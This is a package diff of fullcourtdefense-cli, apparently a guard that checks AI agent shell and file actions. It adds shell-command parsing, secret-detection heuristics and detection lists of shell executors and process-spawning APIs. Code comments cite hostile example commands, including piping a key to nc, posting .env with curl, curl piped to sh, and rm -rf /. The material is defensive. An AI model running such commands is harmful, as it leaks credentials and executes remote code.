fullcourtdefense-cli 1.30.0 → 1.32.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/actionPolicyEngine.d.ts +61 -1
- package/dist/actionPolicyEngine.js +473 -34
- package/dist/agentTerminal.d.ts +47 -0
- package/dist/agentTerminal.js +187 -0
- package/dist/commands/agentCi.d.ts +2 -0
- package/dist/commands/agentCi.js +14 -0
- package/dist/commands/cmdGuard.js +9 -3
- package/dist/commands/deterministicGuard.d.ts +16 -0
- package/dist/commands/deterministicGuard.js +59 -49
- package/dist/commands/discover.js +7 -2
- package/dist/commands/hook.d.ts +35 -0
- package/dist/commands/hook.js +163 -32
- package/dist/commands/mcpGateway.js +87 -4
- package/dist/commands/posixShellGuard.js +9 -3
- package/dist/commands/shellGuard.js +27 -2
- package/dist/fileWriteCanon.d.ts +46 -0
- package/dist/fileWriteCanon.js +147 -0
- package/dist/machineIdentity.js +5 -0
- package/dist/version.json +1 -1
- package/package.json +3 -1
|
@@ -18,9 +18,11 @@
|
|
|
18
18
|
* they diverge. Change this file? Copy it to the other location verbatim.
|
|
19
19
|
*/
|
|
20
20
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
21
|
-
exports.DEFAULT_ACTION_POLICY_APPROVAL = exports.MACHINE_KINDS = void 0;
|
|
21
|
+
exports.DEFAULT_ACTION_POLICY_APPROVAL = exports.CONTENT_FACT_FIELDS = exports.WORKSTATION_ASK_APPROVAL = exports.MACHINE_KINDS = void 0;
|
|
22
22
|
exports.normalizeMachineKind = normalizeMachineKind;
|
|
23
23
|
exports.policyTargetsMachineKind = policyTargetsMachineKind;
|
|
24
|
+
exports.ruleNeedsContentFact = ruleNeedsContentFact;
|
|
25
|
+
exports.isLocalFileContentAction = isLocalFileContentAction;
|
|
24
26
|
exports.resolveApprovalOptions = resolveApprovalOptions;
|
|
25
27
|
exports.effectiveApprovalScope = effectiveApprovalScope;
|
|
26
28
|
exports.deriveToolOperations = deriveToolOperations;
|
|
@@ -40,6 +42,68 @@ function policyTargetsMachineKind(appliesTo, kind) {
|
|
|
40
42
|
const kinds = (appliesTo?.machineKinds || []).filter(Boolean);
|
|
41
43
|
return kinds.length === 0 || kinds.includes(kind);
|
|
42
44
|
}
|
|
45
|
+
/**
|
|
46
|
+
* The developer Ask a softened block becomes: IDE prompt, asked EVERY time (no
|
|
47
|
+
* session memory — a Block-level rule is exactly where a second, different
|
|
48
|
+
* action must not ride on the first yes), blocks on timeout.
|
|
49
|
+
*/
|
|
50
|
+
exports.WORKSTATION_ASK_APPROVAL = {
|
|
51
|
+
scope: 'developer',
|
|
52
|
+
remember: 'none',
|
|
53
|
+
onTimeout: 'block',
|
|
54
|
+
};
|
|
55
|
+
/**
|
|
56
|
+
* LOCAL CONTENT CEILING.
|
|
57
|
+
*
|
|
58
|
+
* Facts about what the arguments CONTAIN. A rule that needs one of these to
|
|
59
|
+
* fire is a rule about content, and content on this machine's own disk is not
|
|
60
|
+
* exfiltration: typing a key into `.env`, pasting a token into a test fixture,
|
|
61
|
+
* reading a config file that holds a password. Secret scanning on file content
|
|
62
|
+
* is inherently approximate (there is no finite list of what a fake key looks
|
|
63
|
+
* like), and the industry treats it as advisory for exactly that reason — a
|
|
64
|
+
* hard stop on EDITING is how a developer loses trust in the product after two
|
|
65
|
+
* wrong blocks. So: a `block` that fires on a content fact for a LOCAL FILE
|
|
66
|
+
* action is recorded as a warning (verdict `log`, `loggedInsteadOfBlocked`),
|
|
67
|
+
* never enforced. The same content leaving the machine — an external
|
|
68
|
+
* destination, a recipient, a shell command that sends it — is untouched by
|
|
69
|
+
* this ceiling and still blocks. A policy marked `enforcement: 'hard'` is also
|
|
70
|
+
* untouched: the admin confirmed it should stop without asking.
|
|
71
|
+
*/
|
|
72
|
+
exports.CONTENT_FACT_FIELDS = new Set([
|
|
73
|
+
'toolArgs.containsSecret',
|
|
74
|
+
'toolArgs.secretKind',
|
|
75
|
+
'toolArgs.containsPii',
|
|
76
|
+
]);
|
|
77
|
+
/** Tool / operation names that mean "a file on this machine": read_file, edit_file, write_file, create_file, append_to_file, str_replace, ... */
|
|
78
|
+
const LOCAL_FILE_ACTION_RE = /(?:^|_)(?:read|write|edit|create|append|save|touch|patch|replace|insert|update)(?:_(?:to|in|into))?_?(?:file|text|lines?|contents?)s?(?:$|_)|^(?:read|write|edit)$|^str_replace$/i;
|
|
79
|
+
/** Does this rule need a content fact to fire? (A rule with no content constraint is about the ACTION, not the content.) */
|
|
80
|
+
function ruleNeedsContentFact(rule) {
|
|
81
|
+
return (rule.constraints || []).some(c => exports.CONTENT_FACT_FIELDS.has(c.field));
|
|
82
|
+
}
|
|
83
|
+
/**
|
|
84
|
+
* Is this call a LOCAL FILE action — content touching this machine's disk with
|
|
85
|
+
* nothing leaving the machine? Requires a file path, no external destination,
|
|
86
|
+
* no recipient, and a file-shaped tool or operation. A shell command is never
|
|
87
|
+
* a local file action here (the command line may send data in ways the URL
|
|
88
|
+
* parser cannot see), so `echo $KEY | nc host 4444` keeps its verdict.
|
|
89
|
+
*/
|
|
90
|
+
function isLocalFileContentAction(toolName, operation, context) {
|
|
91
|
+
if (!context.path)
|
|
92
|
+
return false;
|
|
93
|
+
if (context['destination.type'] === 'external')
|
|
94
|
+
return false;
|
|
95
|
+
if (context.to)
|
|
96
|
+
return false;
|
|
97
|
+
if (context.url)
|
|
98
|
+
return false;
|
|
99
|
+
// `edit-file`, `edit.file`, `StrReplace`, `writeFile` all read as snake_case words.
|
|
100
|
+
const normalize = (value) => (value || '').replace(/([a-z0-9])([A-Z])/g, '$1_$2').replace(/[-.\s]/g, '_');
|
|
101
|
+
const op = normalize(operation);
|
|
102
|
+
const tool = normalize(toolName);
|
|
103
|
+
if (toolCapabilities(toolName).has('code_execution'))
|
|
104
|
+
return false;
|
|
105
|
+
return LOCAL_FILE_ACTION_RE.test(op) || LOCAL_FILE_ACTION_RE.test(tool);
|
|
106
|
+
}
|
|
43
107
|
exports.DEFAULT_ACTION_POLICY_APPROVAL = {
|
|
44
108
|
scope: 'org',
|
|
45
109
|
remember: 'none',
|
|
@@ -223,6 +287,13 @@ function evaluateConstraint(constraint, context) {
|
|
|
223
287
|
actual = normalizePathValue(actual);
|
|
224
288
|
expected = normalizePathValue(expected);
|
|
225
289
|
}
|
|
290
|
+
// A pattern constraint on a COMMAND LINE describes command words. Quoted
|
|
291
|
+
// argument values (a commit message, an issue title, a string literal in an
|
|
292
|
+
// inline script) are data and never satisfy `command matches **rm -rf /**`;
|
|
293
|
+
// the inner command of `bash -c "…"` / `ssh host "…"` still does.
|
|
294
|
+
if (COMMAND_LINE_FIELDS.has(constraint.field) && /^(?:not_)?(?:matches|contains)$/.test(constraint.operator)) {
|
|
295
|
+
actual = shellCommandWords(actual);
|
|
296
|
+
}
|
|
226
297
|
if (IDENTITY_CONSTRAINT_FIELDS.has(constraint.field)) {
|
|
227
298
|
const actualNorm = normalizeIdentityValue(constraint.field, actual);
|
|
228
299
|
const expectedNorm = normalizeIdentityValue(constraint.field, expected);
|
|
@@ -446,6 +517,13 @@ const OPERATION_MATCH_SKIP_FIELDS = new Set([
|
|
|
446
517
|
// is a read; the verb signal for file ops is the OPERATION (read/write/delete).
|
|
447
518
|
// Paths stay in context for path-based rule CONSTRAINTS, which are unaffected.
|
|
448
519
|
'path', 'filepath', 'file', 'filename', 'dir', 'directory', 'cwd',
|
|
520
|
+
// URLs and destination facts — WHERE a request goes, not WHAT it does. A GET of
|
|
521
|
+
// `/v1/transfer-limits` is a read; the verb of an HTTP action is its method /
|
|
522
|
+
// inferred operation, and `destination.type = external` stays available to
|
|
523
|
+
// constraints. (Real incident: a curl to a `transfer-limits` endpoint was paused
|
|
524
|
+
// for org approval by a money-movement rule listing TRANSFER.)
|
|
525
|
+
'url', 'uri', 'href', 'endpoint', 'link', 'destination.domain', 'destination.host', 'destination.type', 'destinationHost',
|
|
526
|
+
'host', 'hostname', 'to', 'recipient', 'recipients', 'from', 'cc', 'bcc',
|
|
449
527
|
]);
|
|
450
528
|
function buildOperationMatchText(_toolName, context) {
|
|
451
529
|
const parts = [];
|
|
@@ -458,12 +536,81 @@ function buildOperationMatchText(_toolName, context) {
|
|
|
458
536
|
// pattern, a description) — never a command word. `git commit -m "delete old
|
|
459
537
|
// loader"` must not satisfy a DELETE rule; `systemctl restart api` still
|
|
460
538
|
// satisfies RESTART because the verb is an unquoted command word.
|
|
461
|
-
const text = COMMAND_LINE_FIELDS.has(key) ? value
|
|
539
|
+
const text = COMMAND_LINE_FIELDS.has(key) ? shellVerbWords(value) : value;
|
|
462
540
|
parts.push(`${key} ${text}`);
|
|
463
541
|
}
|
|
464
542
|
return parts.join(' ');
|
|
465
543
|
}
|
|
466
544
|
const COMMAND_LINE_FIELDS = new Set(['command', 'cmd', 'commandLine', 'script', 'args']);
|
|
545
|
+
/**
|
|
546
|
+
* Tool NAMES that run a command line / code. Tested against the separator-
|
|
547
|
+
* normalized name (`_`, `-`, `.` → space): `shell`, `shell_command`, `run_terminal_cmd`,
|
|
548
|
+
* `execute_command`, `node_repl`, `Bash`, `powershell`. One definition for both the
|
|
549
|
+
* "skip SQL sniffing" and "classify with the shell model" decisions so a tool can
|
|
550
|
+
* never be a code-exec tool for one and not the other.
|
|
551
|
+
*/
|
|
552
|
+
const CODE_EXEC_TOOL_NAME_RE = /\b(node ?repl|repl|shell|exec|execute|terminal|command|cmd|run ?code|bash|zsh|sh|powershell|pwsh)\b/i;
|
|
553
|
+
/**
|
|
554
|
+
* The words of a command line that can carry an operation VERB: the program,
|
|
555
|
+
* its bare subcommand words, its flags (a flag is part of what a command DOES:
|
|
556
|
+
* `rsync --delete`, `curl -T`, `redis-cli --rdb`) and dot-commands (`sqlite3
|
|
557
|
+
* .dump`). Operands are nouns and are dropped: file paths, URLs, variables,
|
|
558
|
+
* assignments and flag VALUES — `node fcd-wire-enforcement.js` is not a WIRE,
|
|
559
|
+
* `cd /srv/payments` is not a PAYMENT, `--name=transfer` keeps only `--name`.
|
|
560
|
+
* Hyphenated / snake_case words follow the CLI verb-first convention
|
|
561
|
+
* (`terminate-instances`, `delete-stack`, `remove-item`): only the head segment
|
|
562
|
+
* is a verb candidate, the rest is glued into one noun, so TERMINATE matches
|
|
563
|
+
* `terminate-instances` while WIRE cannot match `fcd-wire-enforcement`.
|
|
564
|
+
* Used ONLY for operation keyword matching; `command matches / contains`
|
|
565
|
+
* constraints keep the full shellCommandWords view (a glob may name anything).
|
|
566
|
+
*/
|
|
567
|
+
function shellVerbWords(command) {
|
|
568
|
+
let lead = '';
|
|
569
|
+
return shellCommandWords(command)
|
|
570
|
+
.split(/\s+/)
|
|
571
|
+
.filter(Boolean)
|
|
572
|
+
.map(token => {
|
|
573
|
+
if (token === ';') {
|
|
574
|
+
lead = '';
|
|
575
|
+
return token;
|
|
576
|
+
}
|
|
577
|
+
const flag = /^(-{1,2})([A-Za-z][A-Za-z0-9_-]*)(?:=.*)?$/.exec(token);
|
|
578
|
+
const word = flag ? flag[2] : /^\.?[A-Za-z][A-Za-z0-9_-]*$/.test(token) ? token : '';
|
|
579
|
+
if (!word)
|
|
580
|
+
return '';
|
|
581
|
+
if (!flag && !lead)
|
|
582
|
+
lead = word.toLowerCase();
|
|
583
|
+
if (flag) {
|
|
584
|
+
// Version-control flags name REFS, not data: `git push --delete <branch>`,
|
|
585
|
+
// `git branch -D`, `gh pr merge --delete-branch` remove a branch pointer that
|
|
586
|
+
// the reflog / merged commits still hold — housekeeping the same routine
|
|
587
|
+
// corpus already accepts for `git clean -fd` and `git reset --hard`.
|
|
588
|
+
if (VCS_PROGRAMS.has(lead))
|
|
589
|
+
return '';
|
|
590
|
+
// A COMPOUND flag (`--delete-branch`, `--remove-orphans`, `--delete-excluded`)
|
|
591
|
+
// is the NAME of an option, not a verb + object: glue it into one noun. A
|
|
592
|
+
// bare `--delete` (rsync, aws s3 sync) is still what the command does.
|
|
593
|
+
const segs = word.split(/[-_]+/).filter(Boolean);
|
|
594
|
+
if (segs.length > 1)
|
|
595
|
+
return `${flag[1]}${segs.join('')}`;
|
|
596
|
+
}
|
|
597
|
+
const dot = word.startsWith('.') ? '.' : '';
|
|
598
|
+
// A dot-word is a COMMAND only for programs that have dot-commands (`sqlite3
|
|
599
|
+
// .dump`). Everywhere else `.delete_branch_on_merge` (a jq / JSON field path),
|
|
600
|
+
// `.dump` in `jq .dump`, a dotfile or an extension is an operand — data.
|
|
601
|
+
if (dot && !DOT_COMMAND_PROGRAMS.has(lead))
|
|
602
|
+
return '';
|
|
603
|
+
const [head, ...rest] = word.replace(/^\./, '').split(/[-_]+/).filter(Boolean);
|
|
604
|
+
if (!head)
|
|
605
|
+
return '';
|
|
606
|
+
return `${flag ? flag[1] : dot}${head}${rest.length ? ` ${rest.join('')}` : ''}`;
|
|
607
|
+
})
|
|
608
|
+
.filter(Boolean)
|
|
609
|
+
.join(' ');
|
|
610
|
+
}
|
|
611
|
+
const VCS_PROGRAMS = new Set(['git', 'gh', 'hg', 'svn', 'glab']);
|
|
612
|
+
/** Programs whose `.word` arguments are commands (`.dump`, `.tables`, `.schema`). */
|
|
613
|
+
const DOT_COMMAND_PROGRAMS = new Set(['sqlite3', 'sqlite', 'litecli', 'duckdb']);
|
|
467
614
|
function stringifyArgs(args) {
|
|
468
615
|
try {
|
|
469
616
|
return JSON.stringify(args || {});
|
|
@@ -500,17 +647,50 @@ function shannonEntropy(value) {
|
|
|
500
647
|
function plausibleTokenBody(body) {
|
|
501
648
|
if (/(.)\1{4,}/.test(body))
|
|
502
649
|
return false;
|
|
650
|
+
if (REPEATED_CHUNK_RE.test(body))
|
|
651
|
+
return false;
|
|
503
652
|
if (/^(?:[A-Za-z]+|[0-9]+)$/.test(body) && /^(?:abc|xyz|0123|1234|test|example|your|fake|dummy|sample)/i.test(body))
|
|
504
653
|
return false;
|
|
654
|
+
// A random body never spells a dictionary placeholder word anywhere inside it
|
|
655
|
+
// (odds ~ 1 in 36^7 for "EXAMPLE"). Vendors reserve exactly such bodies for
|
|
656
|
+
// documentation: every AWS docs access key ends in EXAMPLE, secret keys in EXAMPLEKEY.
|
|
657
|
+
if (PLACEHOLDER_WORD_RE.test(body))
|
|
658
|
+
return false;
|
|
505
659
|
return shannonEntropy(body) >= 3.0;
|
|
506
660
|
}
|
|
661
|
+
const PLACEHOLDER_WORD_RE = /example|sample|placeholder|redacted|dummy|changeme|fake|xxxx/i;
|
|
662
|
+
/**
|
|
663
|
+
* A chunk of >= 3 characters repeated 3+ times back to back (`TestTokenTestToken
|
|
664
|
+
* TestToken…`, `abcabcabc`, `123123123`) is how humans pad a fixture to the
|
|
665
|
+
* right length; a random body repeats a 3-char chunk twice in a row with odds
|
|
666
|
+
* ~ 1 in 62^6 per position. Structural — no vocabulary.
|
|
667
|
+
*/
|
|
668
|
+
const REPEATED_CHUNK_RE = /(.{3,})\1{2,}/;
|
|
507
669
|
function isHighEntropySecretToken(token) {
|
|
508
670
|
if (token.length < 24 || token.length > 512)
|
|
509
671
|
return false;
|
|
672
|
+
// `NAME=value` / `--flag=value` is an assignment expression, not a value: the
|
|
673
|
+
// identifier and the `=` add character classes and entropy that belong to the
|
|
674
|
+
// syntax. Judge the right-hand side alone (`GITHUB_TOKEN=process.env.API_KEY`
|
|
675
|
+
// is a reference; `GITHUB_TOKEN=<40 random chars>` is still a secret).
|
|
676
|
+
const assignment = /^-{0,2}[A-Za-z_][\w.-]*=(.+)$/.exec(token);
|
|
677
|
+
if (assignment)
|
|
678
|
+
return isHighEntropySecretToken(assignment[1]);
|
|
510
679
|
// Any URI (postgres://, redis://, amqp://, https://…) is configuration; only
|
|
511
680
|
// the password inside its userinfo can be a secret — judged as a value.
|
|
512
681
|
if (/^[a-z][a-z0-9+.-]*:\/\//i.test(token))
|
|
513
682
|
return looksLikeSecretValue(token);
|
|
683
|
+
// A generic token is TOKEN-SHAPED: base64 / base64url / hex / a prefixed id.
|
|
684
|
+
// Source code that happens to sit after `=` or `:` — call expressions
|
|
685
|
+
// (`parseInput(args.files`), member chains (`process.env.GITHUB_REPOSITORY`),
|
|
686
|
+
// regex literals, array indexing — carries parens, brackets and operators
|
|
687
|
+
// that no credential format uses. Structural, so it holds for every language.
|
|
688
|
+
if (!/^[A-Za-z0-9._~+/=-]+$/.test(token))
|
|
689
|
+
return false;
|
|
690
|
+
// A dotted chain of identifiers (`config.auth.clientSecret`, `DEFAULT_POLICY.scope`)
|
|
691
|
+
// is a reference to a value, not the value.
|
|
692
|
+
if (/^[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*)+$/.test(token))
|
|
693
|
+
return false;
|
|
514
694
|
if (/^[0-9a-f]+$/i.test(token))
|
|
515
695
|
return false; // hex digest / git sha
|
|
516
696
|
if (/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i.test(token))
|
|
@@ -556,6 +736,14 @@ function looksLikeSecretValue(raw) {
|
|
|
556
736
|
return false;
|
|
557
737
|
if (SECRET_CODE_EXPR_RE.test(value))
|
|
558
738
|
return false;
|
|
739
|
+
// A regex literal (`TOKEN_RE = /[A-Za-z0-9]{16,}/g`) or a value carrying code
|
|
740
|
+
// structure — brackets open a character class, a group, a block, an index —
|
|
741
|
+
// is source, not a credential: no token format contains `[`, `(` or `{`.
|
|
742
|
+
if (/^\/(?:[\[(^\\.]|.*\/[gimsuy]*$)/.test(value) || /[\[({]/.test(value))
|
|
743
|
+
return false;
|
|
744
|
+
// Character-class ranges (`A-Za-z0-9._-`) are a regex alphabet being declared, not a value.
|
|
745
|
+
if (/(?:A-Z|a-z|0-9)/.test(value))
|
|
746
|
+
return false;
|
|
559
747
|
// A URL, path or hostname as a "password" value is configuration, not a credential value.
|
|
560
748
|
if (/^(?:https?:\/\/|[a-z]:\\|\.{0,2}\/|~\/)/i.test(value))
|
|
561
749
|
return false;
|
|
@@ -572,6 +760,10 @@ function looksLikeSecretValue(raw) {
|
|
|
572
760
|
// real, change-me, your-token-here), or a "fake/test/example/..." prefix.
|
|
573
761
|
if (/(.)\1{4,}/.test(value))
|
|
574
762
|
return false;
|
|
763
|
+
if (REPEATED_CHUNK_RE.test(value))
|
|
764
|
+
return false;
|
|
765
|
+
if (PLACEHOLDER_WORD_RE.test(value))
|
|
766
|
+
return false;
|
|
575
767
|
if (/^[a-z]+(?:[-_.][a-z]+)+$/i.test(value))
|
|
576
768
|
return false;
|
|
577
769
|
if (/^(?:change|replace|your|my|our|example|sample|dummy|fake|test|mock|placeholder|not[-_]?real|do[-_]?not[-_]?use|insert|enter|put|paste)[-_]/i.test(value))
|
|
@@ -719,9 +911,180 @@ function extractUrl(args, _argsText) {
|
|
|
719
911
|
* cannot see — is NOT workspace-scoped and stays a destructive DELETE.
|
|
720
912
|
* Deterministic: decided from the command's own tokens, never from a guess.
|
|
721
913
|
*/
|
|
914
|
+
/**
|
|
915
|
+
* Split a command line into shell segments (`a && b`, `a; b`, `a || b`, newlines)
|
|
916
|
+
* WITHOUT splitting inside quotes. `node -e "a; b; c"` is ONE segment whose
|
|
917
|
+
* argument is a program; `psql -c "DROP x; DROP y"` is one segment; the `;` in
|
|
918
|
+
* a commit message is punctuation. Backslash escapes inside double quotes are
|
|
919
|
+
* honoured; a single `|` (pipe) is kept inside the segment on purpose so
|
|
920
|
+
* `cat .env | curl -d @- …` and `curl … | sh` are still seen as one action.
|
|
921
|
+
*/
|
|
922
|
+
function splitShellSegments(command, alsoOnPipe = false) {
|
|
923
|
+
const out = [];
|
|
924
|
+
let cur = '';
|
|
925
|
+
let quote = null;
|
|
926
|
+
for (let i = 0; i < command.length; i++) {
|
|
927
|
+
const ch = command[i];
|
|
928
|
+
if (quote) {
|
|
929
|
+
cur += ch;
|
|
930
|
+
if (ch === '\\' && quote === '"' && i + 1 < command.length) {
|
|
931
|
+
cur += command[++i];
|
|
932
|
+
continue;
|
|
933
|
+
}
|
|
934
|
+
if (ch === quote)
|
|
935
|
+
quote = null;
|
|
936
|
+
continue;
|
|
937
|
+
}
|
|
938
|
+
// PowerShell here-string `@'…'@` / `@"…"@`: one opaque literal that may hold
|
|
939
|
+
// quotes, newlines and `;` of its own. Tracking its inner quotes by parity
|
|
940
|
+
// would flip the state on every `'` and leak its body as command words.
|
|
941
|
+
if (ch === '@' && (command[i + 1] === "'" || command[i + 1] === '"')) {
|
|
942
|
+
const end = hereStringEnd(command, i);
|
|
943
|
+
if (end > i) {
|
|
944
|
+
cur += command.slice(i, end);
|
|
945
|
+
i = end - 1;
|
|
946
|
+
continue;
|
|
947
|
+
}
|
|
948
|
+
}
|
|
949
|
+
if (ch === '"' || ch === "'") {
|
|
950
|
+
quote = ch;
|
|
951
|
+
cur += ch;
|
|
952
|
+
continue;
|
|
953
|
+
}
|
|
954
|
+
if (ch === '\n' || ch === ';') {
|
|
955
|
+
out.push(cur);
|
|
956
|
+
cur = '';
|
|
957
|
+
continue;
|
|
958
|
+
}
|
|
959
|
+
if (ch === '&' && command[i + 1] === '&') {
|
|
960
|
+
out.push(cur);
|
|
961
|
+
cur = '';
|
|
962
|
+
i++;
|
|
963
|
+
continue;
|
|
964
|
+
}
|
|
965
|
+
if (ch === '|' && command[i + 1] === '|') {
|
|
966
|
+
out.push(cur);
|
|
967
|
+
cur = '';
|
|
968
|
+
i++;
|
|
969
|
+
continue;
|
|
970
|
+
}
|
|
971
|
+
if (alsoOnPipe && ch === '|') {
|
|
972
|
+
out.push(cur);
|
|
973
|
+
cur = '';
|
|
974
|
+
continue;
|
|
975
|
+
}
|
|
976
|
+
cur += ch;
|
|
977
|
+
}
|
|
978
|
+
out.push(cur);
|
|
979
|
+
return out.map(s => s.trim()).filter(Boolean);
|
|
980
|
+
}
|
|
981
|
+
/**
|
|
982
|
+
* End (exclusive) of a PowerShell here-string starting at `start` (`@'` or `@"`).
|
|
983
|
+
* The terminator is the matching quote followed by `@` at the start of a line.
|
|
984
|
+
* Returns -1 when unterminated (then the `@` is an ordinary character).
|
|
985
|
+
*/
|
|
986
|
+
function hereStringEnd(command, start) {
|
|
987
|
+
const q = command[start + 1];
|
|
988
|
+
const close = `\n${q}@`;
|
|
989
|
+
const idx = command.indexOf(close, start + 2);
|
|
990
|
+
if (idx < 0)
|
|
991
|
+
return -1;
|
|
992
|
+
return idx + close.length;
|
|
993
|
+
}
|
|
994
|
+
/** Quoted literals in a segment: PowerShell here-strings first (they contain quotes), then "…" and '…'. */
|
|
995
|
+
const QUOTED_LITERAL_RE = /@'[\s\S]*?\r?\n'@|@"[\s\S]*?\r?\n"@|"((?:[^"\\]|\\.)*)"|'([^']*)'/g;
|
|
996
|
+
/** The quoted spans of a segment, unquoted — the argument VALUES a program was handed. */
|
|
997
|
+
function quotedSpans(segment) {
|
|
998
|
+
const spans = [];
|
|
999
|
+
const re = new RegExp(QUOTED_LITERAL_RE.source, 'g');
|
|
1000
|
+
let m;
|
|
1001
|
+
while ((m = re.exec(segment))) {
|
|
1002
|
+
if (m[0].startsWith('@')) {
|
|
1003
|
+
spans.push(m[0].slice(2, m[0].length - 2).replace(/\r?\n$/, ''));
|
|
1004
|
+
continue;
|
|
1005
|
+
}
|
|
1006
|
+
spans.push((m[1] !== undefined ? m[1].replace(/\\(.)/g, '$1') : m[2]) || '');
|
|
1007
|
+
}
|
|
1008
|
+
return spans;
|
|
1009
|
+
}
|
|
1010
|
+
/** The segment with quoted VALUES blanked: what the shell itself sees as command words. */
|
|
1011
|
+
function maskQuotedSpans(segment) {
|
|
1012
|
+
return segment.replace(new RegExp(QUOTED_LITERAL_RE.source, 'g'), '""');
|
|
1013
|
+
}
|
|
1014
|
+
/**
|
|
1015
|
+
* Programs that EXECUTE the command line they are handed as an argument: the
|
|
1016
|
+
* quoted argument is a command, not data, and is classified as one.
|
|
1017
|
+
*/
|
|
1018
|
+
const SHELL_EXECUTOR_LEADS = new Set(['bash', 'sh', 'zsh', 'dash', 'ksh', 'fish', 'cmd', 'powershell', 'pwsh', 'eval', 'xargs', 'ssh', 'su', 'timeout', 'watch', 'script',
|
|
1019
|
+
// PowerShell: these EXECUTE their string argument (a here-string included).
|
|
1020
|
+
'invoke-expression', 'iex', 'invoke-command', 'icm', 'start-process', 'saps']);
|
|
1021
|
+
/** Language interpreters: their `-e` / `-c` argument is CODE in another language. */
|
|
1022
|
+
const SHELL_INTERPRETER_LEADS = new Set(['node', 'nodejs', 'deno', 'bun', 'python', 'python3', 'python2', 'py', 'perl', 'ruby', 'php', 'lua', 'Rscript', 'julia', 'tsx', 'ts-node']);
|
|
1023
|
+
/**
|
|
1024
|
+
* A code snippet that reaches for a process-spawning API executes whatever
|
|
1025
|
+
* string it passes there. Anything else it says (`console.log('rm -rf /')`, a
|
|
1026
|
+
* doc string, a regex) is data. Structural: API names, not vocabulary.
|
|
1027
|
+
*/
|
|
1028
|
+
const CODE_SPAWNS_PROCESS_RE = /\b(?:child_process|execSync|execFileSync|spawnSync|spawn|execFile|exec|fork|os\.system|os\.popen|os\.exec[lvpe]*|subprocess|Popen|system|passthru|shell_exec|proc_open|popen|Process\.Start|Deno\.run|Deno\.Command|Bun\.spawn)\b/;
|
|
1029
|
+
/** Perl / Ruby run a shell through backticks and `%x{}`; in JavaScript a backtick is a template literal. */
|
|
1030
|
+
const BACKTICK_SHELL_LEADS = new Set(['perl', 'ruby']);
|
|
1031
|
+
function codeSpawnsProcess(code, lead) {
|
|
1032
|
+
if (CODE_SPAWNS_PROCESS_RE.test(code))
|
|
1033
|
+
return true;
|
|
1034
|
+
return BACKTICK_SHELL_LEADS.has(lead) && /`[^`]*`|%x[\[{(]/.test(code);
|
|
1035
|
+
}
|
|
1036
|
+
/**
|
|
1037
|
+
* The command lines an interpreter's code hands to the shell: each string
|
|
1038
|
+
* literal on its own AND all literals in order — `subprocess.run(['terraform',
|
|
1039
|
+
* 'destroy', '-auto-approve'])` is one command split across an argv list.
|
|
1040
|
+
*/
|
|
1041
|
+
function codeCommandLiterals(code, lead) {
|
|
1042
|
+
const literals = quotedSpans(code).concat(BACKTICK_SHELL_LEADS.has(lead) ? (code.match(/`([^`]*)`/g)?.map(s => s.slice(1, -1)) || []) : []);
|
|
1043
|
+
const sequence = literals.join(' ').trim();
|
|
1044
|
+
return sequence && literals.length > 1 ? [...literals, sequence] : literals;
|
|
1045
|
+
}
|
|
1046
|
+
/**
|
|
1047
|
+
* The text of a command line that the SHELL actually treats as command words:
|
|
1048
|
+
* quoted argument values blanked, plus — recursively — the inner command of a
|
|
1049
|
+
* shell executor (`bash -c "…"`, `ssh host "…"`), the statement handed to a SQL
|
|
1050
|
+
* client, and the strings an interpreter's code passes to a process-spawning
|
|
1051
|
+
* API. This is the single view used for glob operation matching and for
|
|
1052
|
+
* `command matches / contains` constraints, so "wrote ABOUT a command" and
|
|
1053
|
+
* "ran it" are told apart the same way everywhere.
|
|
1054
|
+
*/
|
|
1055
|
+
function shellCommandWords(command, depth = 0) {
|
|
1056
|
+
const parts = [];
|
|
1057
|
+
for (const segment of splitShellSegments(command)) {
|
|
1058
|
+
const lead = shellSegmentLead(segment);
|
|
1059
|
+
const lower = segment.toLowerCase();
|
|
1060
|
+
if (SHELL_SQL_CLIENTS.has(lead) || /\|\s*(?:sudo\s+)?(?:psql|mysql|mariadb|sqlcmd|sqlite3|mongosh?|clickhouse-client|bq|cockroach|usql)\b/.test(lower)) {
|
|
1061
|
+
// The quoted STATEMENT executes — but a SQL string literal inside it
|
|
1062
|
+
// (`where note like '%drop table%'`) is data, exactly like a shell argument.
|
|
1063
|
+
parts.push(maskQuotedSpans(segment));
|
|
1064
|
+
for (const statement of quotedSpans(segment))
|
|
1065
|
+
parts.push(maskQuotedSpans(statement));
|
|
1066
|
+
continue;
|
|
1067
|
+
}
|
|
1068
|
+
parts.push(maskQuotedSpans(segment));
|
|
1069
|
+
if (depth >= 3)
|
|
1070
|
+
continue;
|
|
1071
|
+
if (SHELL_EXECUTOR_LEADS.has(lead)) {
|
|
1072
|
+
for (const inner of quotedSpans(segment))
|
|
1073
|
+
parts.push(shellCommandWords(inner, depth + 1));
|
|
1074
|
+
}
|
|
1075
|
+
else if (SHELL_INTERPRETER_LEADS.has(lead)) {
|
|
1076
|
+
const code = quotedSpans(segment).join('\n');
|
|
1077
|
+
if (code && codeSpawnsProcess(code, lead)) {
|
|
1078
|
+
for (const literal of codeCommandLiterals(code, lead))
|
|
1079
|
+
parts.push(shellCommandWords(literal, depth + 1));
|
|
1080
|
+
}
|
|
1081
|
+
}
|
|
1082
|
+
}
|
|
1083
|
+
return parts.join(' ; ');
|
|
1084
|
+
}
|
|
722
1085
|
function isWorkspaceScopedRemoval(command) {
|
|
723
1086
|
// Only the removal segment: `npm run build && rm -rf dist` → `rm -rf dist`.
|
|
724
|
-
const segments = command
|
|
1087
|
+
const segments = splitShellSegments(command, true);
|
|
725
1088
|
const removal = segments.find(seg => /\b(rm|del|remove-item|rmdir)\b/i.test(seg)) || command;
|
|
726
1089
|
const tokens = removal.trim().split(/\s+/).slice(1);
|
|
727
1090
|
const targets = tokens.filter(t => !/^-/.test(t) && !/^\/[fqs]$/i.test(t) && !/^-(?:recurse|force|literalpath|path|erroraction)$/i.test(t));
|
|
@@ -782,26 +1145,61 @@ function shellSegmentLead(segment) {
|
|
|
782
1145
|
const lead = (tokens[i] || '').toLowerCase().replace(/^["']|["']$/g, '');
|
|
783
1146
|
return lead.replace(/^.*[\\/]/, '').replace(/\.(exe|cmd|bat|ps1)$/i, '');
|
|
784
1147
|
}
|
|
785
|
-
|
|
786
|
-
|
|
787
|
-
|
|
1148
|
+
